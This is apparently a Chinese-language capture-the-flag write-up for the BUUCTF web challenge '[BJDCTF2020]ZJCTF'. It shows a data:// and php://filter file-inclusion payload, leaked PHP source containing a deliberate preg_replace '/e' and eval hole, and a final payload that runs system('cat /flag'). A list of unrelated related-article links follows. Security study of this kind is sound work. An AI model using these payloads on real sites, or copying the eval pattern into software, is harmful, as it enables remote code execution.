BUUCTF---web---[BJDCTF2020]ZJCTF,不过如此

1、点开连接,页面出现了提示

传入一个参数text,里面的内容要包括I have a dream。

构造:?/text=I have a dream。发现页面没有显示。这里推测可能得使用伪协议

在文件包含那一行,我们看到了next.php的提示,我们尝试读取文件

根据代码:我们构造payload

/?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

2、页面出现base64编码

3、解码之后得到一串代码

复制代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

4、分析代码:

定义了一个名为 complex的函数,用于对字符串进行正则替换操作。具体来说,它会将匹配到的字符串转换为小写。

/ei:当作php代码来执行,忽略大小写

定义了一个getFlag函数,将参数cmd中的参数输出

5、由此我们可以构造新payload

/?text=data://text/pain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');

使用正则表达式匹配一个或多个非空白字符(\S*),然后将其赋值给一个变量。

相关推荐
心之语歌1 分钟前
Vue2 data + Vue3 ref/reactive 核心知识点总结
开发语言·前端·javascript
诸葛亮的芭蕉扇4 分钟前
tooltip-position-solution
前端·vue.js·elementui
怀化纱厂球迷20 分钟前
android车载应用动画-仿窗帘式下拉显示!Android 实现跟手裁剪动画 + RecyclerView 列表展示
android·java
LXXgalaxy24 分钟前
`摸鱼决策轮盘`【vue3+ts前端实战小项目】
前端
这是个栗子28 分钟前
关于 TypeScript 的介绍
前端·javascript·typescript
亿元程序员36 分钟前
亿元Cocos小游戏实战合集指南和答疑
前端
开开心心就好38 分钟前
伪装文件历史记录!修改时间的黑科技软件
java·前端·科技·r语言·edge·pdf·语音识别
饼干哥哥43 分钟前
聊了50个AI出海的市场团队,我总结了达人营销的7宗罪
前端
qq_427506081 小时前
vscode使用kimi code的简单经验分享
前端·vscode·ai编程
恋猫de小郭1 小时前
Claude Code 源码里有意思设定:伪造、投毒、卧底、封号
前端·人工智能·ai编程